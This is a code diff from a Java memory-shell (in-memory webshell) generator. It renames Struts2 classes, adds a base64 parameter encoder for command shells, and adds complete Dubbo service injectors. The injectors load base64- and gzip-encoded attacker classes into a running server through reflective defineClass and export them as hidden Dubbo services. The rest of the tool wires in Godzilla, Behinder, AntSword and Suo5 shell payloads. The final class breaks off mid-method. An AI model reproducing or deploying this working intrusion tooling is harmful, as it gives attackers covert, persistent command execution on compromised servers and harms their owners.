public static final String SpringWebMvc = "SpringWebMvc"; public static final String SpringWebMvc = "SpringWebMvc";
public static final String SpringWebFlux = "SpringWebFlux"; public static final String SpringWebFlux = "SpringWebFlux";
public static final String XXLJOB = "XXLJOB"; public static final String XXLJOB = "XXLJOB";
public static final String Struct2 = "Struct2"; public static final String Struts2 = "Struts2";
public static final String Dubbo = "Dubbo"; public static final String Dubbo = "Dubbo";
} }
@@ -63,7 +63,7 @@ public class MemShellGenerator {
byte[] shellBytes = ShellToolFactory.generateBytes(shellConfig, shellToolConfig); byte[] shellBytes = ShellToolFactory.generateBytes(shellConfig, shellToolConfig);
if (ShellType.DUBBO_SERVICE.equals(shellConfig.getShellType())) { if (shellConfig.getShellType().endsWith(ShellType.DUBBO_SERVICE)) {
String packageName = CommonUtil.getPackageName(shellToolConfig.getShellClassName()); String packageName = CommonUtil.getPackageName(shellToolConfig.getShellClassName());
String simpleName = CommonUtil.getSimpleName(shellToolConfig.getShellClassName()); String simpleName = CommonUtil.getSimpleName(shellToolConfig.getShellClassName());
String interfaceName = packageName + ".I" + simpleName; String interfaceName = packageName + ".I" + simpleName;
@@ -32,8 +32,6 @@ public class MemShellResult {
private transient Map<String, byte[]> injectorInnerClassBytes; private transient Map<String, byte[]> injectorInnerClassBytes;
private long injectorSize; private long injectorSize;
private String injectorBytesBase64Str; private String injectorBytesBase64Str;
private String injectorHelperBytesBase64Str;
private long injectorHelperSize;
private ShellConfig shellConfig; private ShellConfig shellConfig;
private ShellToolConfig shellToolConfig; private ShellToolConfig shellToolConfig;
private InjectorConfig injectorConfig; private InjectorConfig injectorConfig;
@@ -48,20 +46,13 @@ public class MemShellResult {
injectorBytesBase64Str = Base64.getEncoder().encodeToString(injectorBytes); injectorBytesBase64Str = Base64.getEncoder().encodeToString(injectorBytes);
injectorSize = injectorBytes.length; injectorSize = injectorBytes.length;
} }
if (injectorConfig != null && injectorConfig.getHelperClassBytes() != null) {
injectorHelperBytesBase64Str = Base64.getEncoder().encodeToString(injectorConfig.getHelperClassBytes());
injectorHelperSize = injectorConfig.getHelperClassBytes().length;
}
return new MemShellResult(shellClassName, shellBytes, shellSize, shellBytesBase64Str, return new MemShellResult(shellClassName, shellBytes, shellSize, shellBytesBase64Str,
injectorClassName, injectorBytes, injectorInnerClassBytes, injectorSize, injectorClassName, injectorBytes, injectorInnerClassBytes, injectorSize, injectorBytesBase64Str, shellConfig, shellToolConfig, injectorConfig);
injectorBytesBase64Str, injectorHelperBytesBase64Str, injectorHelperSize,
shellConfig, shellToolConfig, injectorConfig);
} }
} }
public JarPackerConfig toJarPackerConfig() { public JarPackerConfig toJarPackerConfig() {
JarPackerConfig<?> jarPackerConfig = new JarPackerConfig<>(); JarPackerConfig jarPackerConfig = new JarPackerConfig();
jarPackerConfig.setMainClassName(injectorClassName); jarPackerConfig.setMainClassName(injectorClassName);
Map<String, byte[]> bytes = new HashMap<>(); Map<String, byte[]> bytes = new HashMap<>();
bytes.put(shellClassName, shellBytes); bytes.put(shellClassName, shellBytes);
@@ -74,7 +65,7 @@ public class MemShellResult {
} }
public ClassPackerConfig toClassPackerConfig() { public ClassPackerConfig toClassPackerConfig() {
ClassPackerConfig<?> classPackerConfig = new ClassPackerConfig<>(); ClassPackerConfig classPackerConfig = new ClassPackerConfig();
classPackerConfig.setClassName(injectorClassName); classPackerConfig.setClassName(injectorClassName);
classPackerConfig.setClassBytes(injectorBytes); classPackerConfig.setClassBytes(injectorBytes);
classPackerConfig.setClassBytesBase64Str(injectorBytesBase64Str); classPackerConfig.setClassBytesBase64Str(injectorBytesBase64Str);
@@ -46,7 +46,7 @@ public class ServerFactory {
register(Server.SpringWebMvc, SpringWebMvc::new); register(Server.SpringWebMvc, SpringWebMvc::new);
register(Server.SpringWebFlux, SpringWebFlux::new); register(Server.SpringWebFlux, SpringWebFlux::new);
register(Server.XXLJOB, XxlJob::new); register(Server.XXLJOB, XxlJob::new);
register(Server.Struct2, Struct2::new); register(Server.Struts2, Struts2::new);
register(Server.Dubbo, Dubbo::new); register(Server.Dubbo, Dubbo::new);
addToolMapping(ShellTool.Godzilla, ToolMapping.builder() addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
@@ -82,7 +82,7 @@ public class ServerFactory {
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, GodzillaUndertowServletHandler.class) .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, GodzillaUndertowServletHandler.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Godzilla.class) .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Godzilla.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, Godzilla.class) .addShellClass(WAS_AGENT_FILTER_MANAGER, Godzilla.class)
.addShellClass(ACTION, GodzillaStruct2Action.class) .addShellClass(ACTION, GodzillaStruts2Action.class)
.build()); .build());
addToolMapping(ShellTool.Behinder, ToolMapping.builder() addToolMapping(ShellTool.Behinder, ToolMapping.builder()
@@ -107,7 +107,7 @@ public class ServerFactory {
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, BehinderUndertowServletHandler.class) .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, BehinderUndertowServletHandler.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Behinder.class) .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Behinder.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, Behinder.class) .addShellClass(WAS_AGENT_FILTER_MANAGER, Behinder.class)
.addShellClass(ACTION, BehinderStruct2Action.class) .addShellClass(ACTION, BehinderStruts2Action.class)
.build()); .build());
addToolMapping(ShellTool.AntSword, ToolMapping.builder() addToolMapping(ShellTool.AntSword, ToolMapping.builder()
@@ -125,7 +125,7 @@ public class ServerFactory {
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, AntSwordUndertowServletHandler.class) .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, AntSwordUndertowServletHandler.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, AntSword.class) .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, AntSword.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, AntSword.class) .addShellClass(WAS_AGENT_FILTER_MANAGER, AntSword.class)
.addShellClass(ACTION, AntSwordStruct2Action.class) .addShellClass(ACTION, AntSwordStruts2Action.class)
.build()); .build());
addToolMapping(ShellTool.Command, ToolMapping.builder() addToolMapping(ShellTool.Command, ToolMapping.builder()
@@ -162,8 +162,9 @@ public class ServerFactory {
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandUndertowServletHandler.class) .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandUndertowServletHandler.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Command.class) .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Command.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, Command.class) .addShellClass(WAS_AGENT_FILTER_MANAGER, Command.class)
.addShellClass(ACTION, CommandStruct2Action.class) .addShellClass(ACTION, CommandStruts2Action.class)
.addShellClass(DUBBO_SERVICE, CommandDubboService.class) .addShellClass(ALIBABA_DUBBO_SERVICE, CommandDubboService.class)
.addShellClass(APACHE_DUBBO_SERVICE, CommandDubboService.class)
.build()); .build());
addToolMapping(ShellTool.Suo5, ToolMapping.builder() addToolMapping(ShellTool.Suo5, ToolMapping.builder()
@@ -189,7 +190,7 @@ public class ServerFactory {
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, Suo5UndertowServletHandler.class) .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, Suo5UndertowServletHandler.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Suo5.class) .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Suo5.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, Suo5.class) .addShellClass(WAS_AGENT_FILTER_MANAGER, Suo5.class)
.addShellClass(ACTION, Suo5Struct2Action.class) .addShellClass(ACTION, Suo5Struts2Action.class)
.build()); .build());
addToolMapping(ShellTool.Suo5v2, ToolMapping.builder() addToolMapping(ShellTool.Suo5v2, ToolMapping.builder()
@@ -214,7 +215,7 @@ public class ServerFactory {
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, Suo5v2UndertowServletHandler.class) .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, Suo5v2UndertowServletHandler.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Suo5v2.class) .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Suo5v2.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, Suo5v2.class) .addShellClass(WAS_AGENT_FILTER_MANAGER, Suo5v2.class)
.addShellClass(ACTION, Suo5v2Struct2Action.class) .addShellClass(ACTION, Suo5v2Struts2Action.class)
.addShellClass(CUSTOMIZER, Suo5v2JettyCustomizer.class) .addShellClass(CUSTOMIZER, Suo5v2JettyCustomizer.class)
.build()); .build());
@@ -240,7 +241,7 @@ public class ServerFactory {
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, NeoreGeorgUndertowServletHandler.class) .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, NeoreGeorgUndertowServletHandler.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, NeoreGeorg.class) .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, NeoreGeorg.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, NeoreGeorg.class) .addShellClass(WAS_AGENT_FILTER_MANAGER, NeoreGeorg.class)
.addShellClass(ACTION, NeoreGeorgStruct2Action.class) .addShellClass(ACTION, NeoreGeorgStruts2Action.class)
.build()); .build());
addToolMapping(ShellTool.Proxy, ToolMapping.builder() addToolMapping(ShellTool.Proxy, ToolMapping.builder()
@@ -49,7 +49,9 @@ public class ShellType {
public static final String JAKARTA_WEBSOCKET = "JakartaWebSocket"; public static final String JAKARTA_WEBSOCKET = "JakartaWebSocket";
public static final String JAKARTA_BYPASS_NGINX_WEBSOCKET = "JakartaWebBypassNginx" + WEBSOCKET; public static final String JAKARTA_BYPASS_NGINX_WEBSOCKET = "JakartaWebBypassNginx" + WEBSOCKET;
public static final String DUBBO_SERVICE = "DubboService";
public static final String ACTION = "Action"; public static final String ACTION = "Action";
public static final String DUBBO_SERVICE = "DubboService";
public static final String APACHE_DUBBO_SERVICE = "Apache" + DUBBO_SERVICE;
public static final String ALIBABA_DUBBO_SERVICE = "Alibaba" + DUBBO_SERVICE;
} }
@@ -91,12 +91,15 @@ public class CommandConfig extends ShellToolConfig {
} }
public enum Encryptor { public enum Encryptor {
RAW, DOUBLE_BASE64; RAW, BASE64, DOUBLE_BASE64;
public static Encryptor fromString(String encryptor) { public static Encryptor fromString(String encryptor) {
if (encryptor != null && encryptor.equals("DOUBLE_BASE64")) { if (encryptor != null && encryptor.equals("DOUBLE_BASE64")) {
return DOUBLE_BASE64; return DOUBLE_BASE64;
} }
if (encryptor != null && encryptor.equals("BASE64")) {
return BASE64;
}
return RAW; return RAW;
} }
} }
@@ -27,6 +27,12 @@ public class InjectorConfig {
@Builder.Default @Builder.Default
private String injectorClassName = CommonUtil.generateInjectorClassName(); private String injectorClassName = CommonUtil.generateInjectorClassName();
/**
* 辅助类类名
*/
private String injectorHelperClassName;
/** /**
* 注入访问的地址 * 注入访问的地址
*/ */
@@ -43,11 +49,6 @@ public class InjectorConfig {
*/ */
private byte[] shellClassBytes; private byte[] shellClassBytes;
/**
* 辅助类类名
*/
private String injectorHelperClassName;
/** /**
* 辅助类字节码 * 辅助类字节码
*/ */
@@ -0,0 +1,16 @@
package com.reajason.javaweb.memshell.generator.command;
import com.reajason.javaweb.utils.ShellCommonUtil;
import net.bytebuddy.asm.Advice;
/**
* @author ReaJason
* @since 2025/4/27
*/
public class Base64ParamInterceptor {
@Advice.OnMethodExit
public static void enter(@Advice.Argument(value = 0) String param, @Advice.Return(readOnly = false) String returnValue) throws Exception {
returnValue = ShellCommonUtil.base64DecodeToString(param);
}
}
@@ -1,7 +1,6 @@
package com.reajason.javaweb.memshell.generator.command; package com.reajason.javaweb.memshell.generator.command;
import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper; import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.CommandConfig; import com.reajason.javaweb.memshell.config.CommandConfig;
import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.generator.ByteBuddyShellGenerator; import com.reajason.javaweb.memshell.generator.ByteBuddyShellGenerator;
@@ -43,6 +42,17 @@ public class CommandGenerator extends ByteBuddyShellGenerator<CommandConfig> {
.visit(Advice.to(ShellCommonUtil.Base64DecodeToStringInterceptor.class).on(named("base64DecodeToString"))) .visit(Advice.to(ShellCommonUtil.Base64DecodeToStringInterceptor.class).on(named("base64DecodeToString")))
.visit(Advice.to(DoubleBase64ParamInterceptor.class).on(named("getParam"))); .visit(Advice.to(DoubleBase64ParamInterceptor.class).on(named("getParam")));
} }
if (CommandConfig.Encryptor.BASE64.equals(shellToolConfig.getEncryptor())) {
builder = builder
.visit(MethodCallReplaceVisitorWrapper.newInstance("getParam",
shellToolConfig.getShellClassName(), ShellCommonUtil.class.getName()))
.defineMethod("base64DecodeToString", String.class, Visibility.PUBLIC, Ownership.STATIC)
.withParameters(String.class)
.throwing(Exception.class)
.intercept(FixedValue.nullValue())
.visit(Advice.to(ShellCommonUtil.Base64DecodeToStringInterceptor.class).on(named("base64DecodeToString")))
.visit(Advice.to(Base64ParamInterceptor.class).on(named("getParam")));
}
if (CommandConfig.ImplementationClass.RuntimeExec.equals(shellToolConfig.getImplementationClass())) { if (CommandConfig.ImplementationClass.RuntimeExec.equals(shellToolConfig.getImplementationClass())) {
builder = builder.visit(Advice.withCustomMapping() builder = builder.visit(Advice.withCustomMapping()
.bind(TemplateAnnotation.class, shellToolConfig.getTemplate()) .bind(TemplateAnnotation.class, shellToolConfig.getTemplate())
@@ -0,0 +1,451 @@
package com.reajason.javaweb.memshell.injector.dubbo;
import com.alibaba.dubbo.common.URL;
import com.alibaba.dubbo.common.bytecode.ClassGenerator;
import com.alibaba.dubbo.common.utils.ClassHelper;
import com.alibaba.dubbo.config.*;
import com.alibaba.dubbo.config.model.ApplicationModel;
import com.alibaba.dubbo.config.model.ProviderModel;
import javassist.ClassPool;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.PrintWriter;
import java.io.StringWriter;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.lang.reflect.Modifier;
import java.security.ProtectionDomain;
import java.util.ArrayList;
import java.util.LinkedHashMap;
import java.util.List;
import java.util.Map;
import java.util.concurrent.ConcurrentHashMap;
import java.util.zip.GZIPInputStream;
public class AlibabaDubboServiceInjector {
private final Map<String, ServiceConfig<?>> dynamicServices = new ConcurrentHashMap<>();
private static final String DISPLAY_HOST = "x.x.x.x";
private static String msg = "";
private static boolean ok = false;
public String getUrlPattern() {
return "{{urlPattern}}";
}
public String getClassName() {
return "{{className}}";
}
public String getBase64String() {
return "{{base64Str}}";
}
public String getHelperBase64String() {
return "{{helperBase64String}}";
}
public AlibabaDubboServiceInjector() {
if (ok) {
return;
}
try {
msg += registerService();
} catch (Throwable e) {
msg += "unexcepted error: " + stackTrace(e);
}
ok = true;
System.out.println(msg);
}
public String registerService() throws Exception {
String servicePath = normalizePath(getUrlPattern());
if (servicePath.isEmpty()) {
throw new IllegalArgumentException("path must not be empty");
}
if (dynamicServices.containsKey(servicePath) || findRegisteredService(servicePath) != null) {
return resolveServiceAddresses(servicePath);
}
Class<?> serviceInterface = loadClass(getHelperBase64String());
Class<?> serviceImpl = loadClass(getBase64String());
validateServiceTypes(serviceInterface, serviceImpl);
ServiceConfig<?> serviceConfig = createServiceConfig(servicePath, serviceInterface, instantiate(serviceImpl));
if (dynamicServices.putIfAbsent(servicePath, serviceConfig) != null) {
return resolveServiceAddresses(servicePath);
}
try {
serviceConfig.export();
return resolveServiceAddresses(servicePath);
} catch (RuntimeException e) {
dynamicServices.remove(servicePath, serviceConfig);
throw e;
}
}
private Class<?> loadClass(String payload) throws Exception {
ClassLoader classLoader = ClassHelper.getClassLoader(ClassGenerator.class);
byte[] classBytes = gzipDecompress(decodeBase64(payload));
definePackageIfNeeded(classLoader, getClassName());
Class<?> loadedClass = defineClass(classLoader, classBytes);
registerInJavassistClassPool(classLoader, classBytes);
return loadedClass;
}
private Class<?> defineClass(ClassLoader classLoader, byte[] classBytes) throws Exception {
ProtectionDomain protectionDomain = ClassGenerator.class.getProtectionDomain();
Method defineClass = ClassLoader.class.getDeclaredMethod(
"defineClass",
String.class,
byte[].class,
int.class,
int.class,
ProtectionDomain.class
);
defineClass.setAccessible(true);
return (Class<?>) defineClass.invoke(classLoader, null, classBytes, 0, classBytes.length, protectionDomain);
}
private void definePackageIfNeeded(ClassLoader classLoader, String className) {
int packageEnd = className.lastIndexOf('.');
if (packageEnd < 0) {
return;
}
String packageName = className.substring(0, packageEnd);
try {
Method getPackage = ClassLoader.class.getDeclaredMethod("getPackage", String.class);
getPackage.setAccessible(true);
if (getPackage.invoke(classLoader, packageName) != null) {
return;
}
Method definePackage = ClassLoader.class.getDeclaredMethod(
"definePackage",
String.class,
String.class,
String.class,
String.class,
String.class,
String.class,
String.class,
java.net.URL.class
);
definePackage.setAccessible(true);
definePackage.invoke(classLoader, packageName, null, null, null, null, null, null, null);
} catch (Exception ignored) {
// Defining the package is a convenience for older class loaders. The class can still load without it.
}
}
private void registerInJavassistClassPool(ClassLoader classLoader, byte[] classBytes) {
try {
ClassPool classPool = ClassGenerator.getClassPool(classLoader);
classPool.makeClass(new ByteArrayInputStream(classBytes));
} catch (Throwable ignored) {
// Dubbo's proxy generator can still resolve already-defined classes if Javassist registration fails.
}
}
private static byte[] decodeBase64(String value) throws Exception {
Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, value);
}
private static byte[] gzipDecompress(byte[] bytes) throws Exception {
GZIPInputStream inputStream = null;
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
try {
inputStream = new GZIPInputStream(new ByteArrayInputStream(bytes));
byte[] buffer = new byte[4096];
int read;
while ((read = inputStream.read(buffer)) > 0) {
outputStream.write(buffer, 0, read);
}
return outputStream.toByteArray();
} finally {
if (inputStream != null) {
inputStream.close();
}
outputStream.close();
}
}
private void validateServiceTypes(Class<?> serviceInterface, Class<?> serviceImpl) {
if (!serviceInterface.isInterface()) {
throw new IllegalArgumentException("not an interface: " + serviceInterface.getName());
}
if (serviceImpl.isInterface() || Modifier.isAbstract(serviceImpl.getModifiers())) {
throw new IllegalArgumentException("implementation class is not instantiable: " + serviceImpl.getName());
}
if (!serviceInterface.isAssignableFrom(serviceImpl)) {
throw new IllegalArgumentException(serviceImpl.getName() + " does not implement " + serviceInterface.getName());
}
}
private Object instantiate(Class<?> serviceImpl) {
try {
Constructor<?> constructor = serviceImpl.getDeclaredConstructor();
constructor.setAccessible(true);
return constructor.newInstance();
} catch (Exception e) {
throw new IllegalArgumentException("failed to instantiate " + serviceImpl.getName(), e);
}
}
private ServiceConfig<Object> createServiceConfig(String servicePath, Class<?> serviceInterface, Object serviceImpl) {
ServiceConfig<Object> serviceConfig = new ServiceConfig<Object>();
serviceConfig.setInterface(serviceInterface);
serviceConfig.setRef(serviceImpl);
serviceConfig.setPath(servicePath);
ProviderConfig providerConfig = findProviderConfig();
if (providerConfig != null) {
serviceConfig.setProvider(providerConfig);
if (notEmpty(providerConfig.getVersion())) {
serviceConfig.setVersion(providerConfig.getVersion());
}
}
ApplicationConfig applicationConfig = findApplicationConfig(providerConfig);
if (applicationConfig != null) {
serviceConfig.setApplication(applicationConfig);
}
List<ProtocolConfig> protocolConfigs = findProtocolConfigs(providerConfig);
if (!protocolConfigs.isEmpty()) {
serviceConfig.setProtocols(protocolConfigs);
}
List<RegistryConfig> registryConfigs = findRegistryConfigs(providerConfig, applicationConfig);
if (!registryConfigs.isEmpty()) {
serviceConfig.setRegistries(registryConfigs);
}
return serviceConfig;
}
private ServiceConfig<?> findRegisteredService(String servicePath) {
String normalizedPath = normalizePath(servicePath);
for (ProviderModel providerModel : providerModels()) {
ServiceConfig<?> serviceConfig = providerModel.getMetadata();
if (serviceConfig != null && normalizedPath.equals(normalizePath(serviceConfig.getPath()))) {
return serviceConfig;
}
}
return null;
}
private ProviderConfig findProviderConfig() {
for (ProviderModel providerModel : providerModels()) {
ServiceConfig<?> serviceConfig = providerModel.getMetadata();
if (serviceConfig != null && serviceConfig.getProvider() != null) {
return serviceConfig.getProvider();
}
}
return null;
}
private ApplicationConfig findApplicationConfig(ProviderConfig providerConfig) {
if (providerConfig != null && providerConfig.getApplication() != null) {
return providerConfig.getApplication();
}
for (ProviderModel providerModel : providerModels()) {
com.alibaba.dubbo.config.ServiceConfig<?> serviceConfig = providerModel.getMetadata();
if (serviceConfig == null) {
continue;
}
if (serviceConfig.getApplication() != null) {
return serviceConfig.getApplication();
}
if (serviceConfig.getProvider() != null && serviceConfig.getProvider().getApplication() != null) {
return serviceConfig.getProvider().getApplication();
}
}
return null;
}
private List<ProtocolConfig> findProtocolConfigs(ProviderConfig providerConfig) {
List<ProtocolConfig> protocols = new ArrayList<ProtocolConfig>();
addProtocols(protocols, providerConfig == null ? null : providerConfig.getProtocols());
for (ProviderModel providerModel : providerModels()) {
ServiceConfig<?> serviceConfig = providerModel.getMetadata();
if (serviceConfig == null) {
continue;
}
addProtocols(protocols, serviceConfig.getProtocols());
addProtocols(protocols, serviceConfig.getProvider() == null ? null : serviceConfig.getProvider().getProtocols());
}
return uniqueProtocols(protocols);
}
private List<RegistryConfig> findRegistryConfigs(ProviderConfig providerConfig, ApplicationConfig applicationConfig) {
List<RegistryConfig> registries = registries(providerConfig == null ? null : providerConfig.getRegistries());
if (!registries.isEmpty()) {
return registries;
}
registries = registries(applicationConfig == null ? null : applicationConfig.getRegistries());
if (!registries.isEmpty()) {
return registries;
}
for (ProviderModel providerModel : providerModels()) {
ServiceConfig<?> serviceConfig = providerModel.getMetadata();
if (serviceConfig == null) {
continue;
}
registries = registries(serviceConfig.getRegistries());
if (!registries.isEmpty()) {
return registries;
}
ProviderConfig serviceProvider = serviceConfig.getProvider();
registries = registries(serviceProvider == null ? null : serviceProvider.getRegistries());
if (!registries.isEmpty()) {
return registries;
}
ApplicationConfig serviceApplication = serviceConfig.getApplication();
registries = registries(serviceApplication == null ? null : serviceApplication.getRegistries());
if (!registries.isEmpty()) {
return registries;
}
}
return new ArrayList<RegistryConfig>();
}
private String resolveServiceAddresses(String servicePath) {
String normalizedPath = normalizePath(servicePath);
ServiceConfig<?> serviceConfig = dynamicServices.get(normalizedPath);
if (serviceConfig == null) {
serviceConfig = findRegisteredService(normalizedPath);
}
if (serviceConfig == null) {
return normalizedPath;
}
List<URL> exportedUrls = serviceConfig.getExportedUrls();
if (exportedUrls != null && !exportedUrls.isEmpty()) {
return formatUrls(exportedUrls);
}
List<ProtocolConfig> protocols = uniqueProtocols(serviceConfig.getProtocols());
if (protocols.isEmpty() && serviceConfig.getProvider() != null) {
protocols = uniqueProtocols(serviceConfig.getProvider().getProtocols());
}
if (protocols.isEmpty()) {
return normalizedPath;
}
return formatProtocolAddresses(protocols, normalizedPath);
}
private String formatUrls(List<URL> urls) {
StringBuilder builder = new StringBuilder();
for (URL url : urls) {
if (builder.length() > 0) {
builder.append(", ");
}
builder.append(formatUrl(url));
}
return builder.toString();
}
private String formatProtocolAddresses(List<ProtocolConfig> protocols, String path) {
StringBuilder builder = new StringBuilder();
for (ProtocolConfig protocol : protocols) {
if (builder.length() > 0) {
builder.append(", ");
}
builder.append(formatProtocolAddress(protocol, path));
}
return builder.toString();
}
private String formatUrl(URL url) {
String path = normalizePath(url.getPath());
int port = url.getPort();
return port > 0
? String.format("%s://%s:%d/%s", url.getProtocol(), DISPLAY_HOST, port, path)
: String.format("%s://%s/%s", url.getProtocol(), DISPLAY_HOST, path);
}
private String formatProtocolAddress(ProtocolConfig protocol, String path) {
String protocolName = notEmpty(protocol.getName()) ? protocol.getName() : "dubbo";
Integer port = protocol.getPort();
return port != null && port > 0
? String.format("%s://%s:%d/%s", protocolName, DISPLAY_HOST, port, path)
: String.format("%s://%s/%s", protocolName, DISPLAY_HOST, path);
}
private List<ProviderModel> providerModels() {
try {
return ApplicationModel.allProviderModels();
} catch (Throwable ignored) {
return new ArrayList<ProviderModel>();
}
}
private void addProtocols(List<ProtocolConfig> target, List<ProtocolConfig> source) {
if (source != null) {
target.addAll(source);
}
}
private List<ProtocolConfig> uniqueProtocols(List<ProtocolConfig> protocols) {
Map<String, ProtocolConfig> unique = new LinkedHashMap<String, ProtocolConfig>();
if (protocols != null) {
for (ProtocolConfig protocol : protocols) {
if (protocol != null) {
unique.put(protocolKey(protocol), protocol);
}
}
}
return new ArrayList<ProtocolConfig>(unique.values());
}
private List<RegistryConfig> registries(List<RegistryConfig> registries) {
return registries == null ? new ArrayList<RegistryConfig>() : new ArrayList<RegistryConfig>(registries);
}
private String protocolKey(ProtocolConfig protocol) {
return String.valueOf(protocol.getName())
+ "|"
+ String.valueOf(protocol.getHost())
+ "|"
+ String.valueOf(protocol.getPort())
+ "|"
+ String.valueOf(protocol.getServer())
+ "|"
+ String.valueOf(protocol.getId());
}
private String normalizePath(String path) {
if (path == null) {
return "";
}
String normalized = path.trim();
while (normalized.startsWith("/")) {
normalized = normalized.substring(1);
}
return normalized;
}
private boolean notEmpty(String value) {
return value != null && !value.isEmpty();
}
private String stackTrace(Throwable throwable) {
StringWriter writer = new StringWriter();
throwable.printStackTrace(new PrintWriter(writer));
return writer.toString();
}
}
@@ -0,0 +1,616 @@
package com.reajason.javaweb.memshell.injector.dubbo;
import javassist.ClassPool;
import org.apache.dubbo.common.bytecode.ClassGenerator;
import org.apache.dubbo.config.*;
import org.apache.dubbo.rpc.model.ApplicationModel;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.lang.reflect.Modifier;
import java.security.ProtectionDomain;
import java.util.*;
import java.util.concurrent.ConcurrentHashMap;
import java.util.stream.Collectors;
import java.util.zip.GZIPInputStream;
public class ApacheDubboServiceInjector {
private final Map<String, ServiceConfig<?>> DYNAMIC_SERVICES = new ConcurrentHashMap<>();
private static final String DISPLAY_HOST = "x.x.x.x";
private static String msg = "";
private static boolean ok = false;
public String getUrlPattern() {
return "{{urlPattern}}";
}
public String getClassName() {
return "{{className}}";
}
public String getBase64String() {
return "{{base64Str}}";
}
public String getHelperBase64String() {
return "{{helperBase64String}}";
}
public ApacheDubboServiceInjector() {
if (ok) {
return;
}
try {
msg += registerService();
} catch (Throwable e) {
msg += "unexcepted error: " + getErrorMessage(e);
}
ok = true;
System.out.println(msg);
}
private Class<?> loadClass(String payload) throws Exception {
ClassLoader classLoader = resolveDubboClassLoader();
byte[] classBytes = gzipDecompress(decodeBase64(payload));
definePackageIfNeeded(classLoader, getClassName());
Class<?> loadedClass = defineClass(classLoader, classBytes);
registerInJavassistClassPool(classLoader, loadedClass.getName(), classBytes);
msg += "[" + classLoader.getClass().getName() + "] ";
return loadedClass;
}
private ClassLoader resolveDubboClassLoader() {
ClassLoader classLoader = invokeDubboClassLoader("org.apache.dubbo.common.utils.ClassHelper");
if (classLoader != null) {
return classLoader;
}
classLoader = invokeDubboClassLoader("org.apache.dubbo.common.utils.ClassUtils");
if (classLoader != null) {
return classLoader;
}
classLoader = ClassGenerator.class.getClassLoader();
return classLoader != null ? classLoader : Thread.currentThread().getContextClassLoader();
}
private ClassLoader invokeDubboClassLoader(String className) {
try {
Class<?> helperClass = Class.forName(className);
return (ClassLoader) helperClass.getMethod("getClassLoader", Class.class).invoke(null, ClassGenerator.class);
} catch (Throwable ignored) {
return null;
}
}
private Class<?> defineClass(ClassLoader classLoader, byte[] classBytes) throws Exception {
ProtectionDomain protectionDomain = ClassGenerator.class.getProtectionDomain();
Method defineClass = ClassLoader.class.getDeclaredMethod(
"defineClass",
String.class,
byte[].class,
int.class,
int.class,
ProtectionDomain.class
);
defineClass.setAccessible(true);
return (Class<?>) defineClass.invoke(classLoader, null, classBytes, 0, classBytes.length, protectionDomain);
}
private void definePackageIfNeeded(ClassLoader classLoader, String className) {
int packageEnd = className.lastIndexOf('.');
if (packageEnd < 0) {
return;
}
String packageName = className.substring(0, packageEnd);
try {
Method getPackage = ClassLoader.class.getDeclaredMethod("getPackage", String.class);
getPackage.setAccessible(true);
if (getPackage.invoke(classLoader, packageName) != null) {
return;
}
Method definePackage = ClassLoader.class.getDeclaredMethod(
"definePackage",
String.class,
String.class,
String.class,
String.class,
String.class,
String.class,
String.class,
java.net.URL.class
);
definePackage.setAccessible(true);
definePackage.invoke(classLoader, packageName, null, null, null, null, null, null, null);
} catch (Exception ignored) {
}
}
public String toString() {
return msg;
}
private void registerInJavassistClassPool(ClassLoader classLoader, String className, byte[] classBytes) {
try {
ClassPool classPool = ClassGenerator.getClassPool(classLoader);
try {
classPool.getClass().getMethod("makeClassIfNew", InputStream.class).invoke(classPool, new ByteArrayInputStream(classBytes));
} catch (NoSuchMethodException e) {
classPool.getClass().getMethod("makeClass", InputStream.class).invoke(classPool, new ByteArrayInputStream(classBytes));
}
} catch (Throwable ignored) {
}
insertByteArrayClassPath(className, classLoader, classBytes);
}
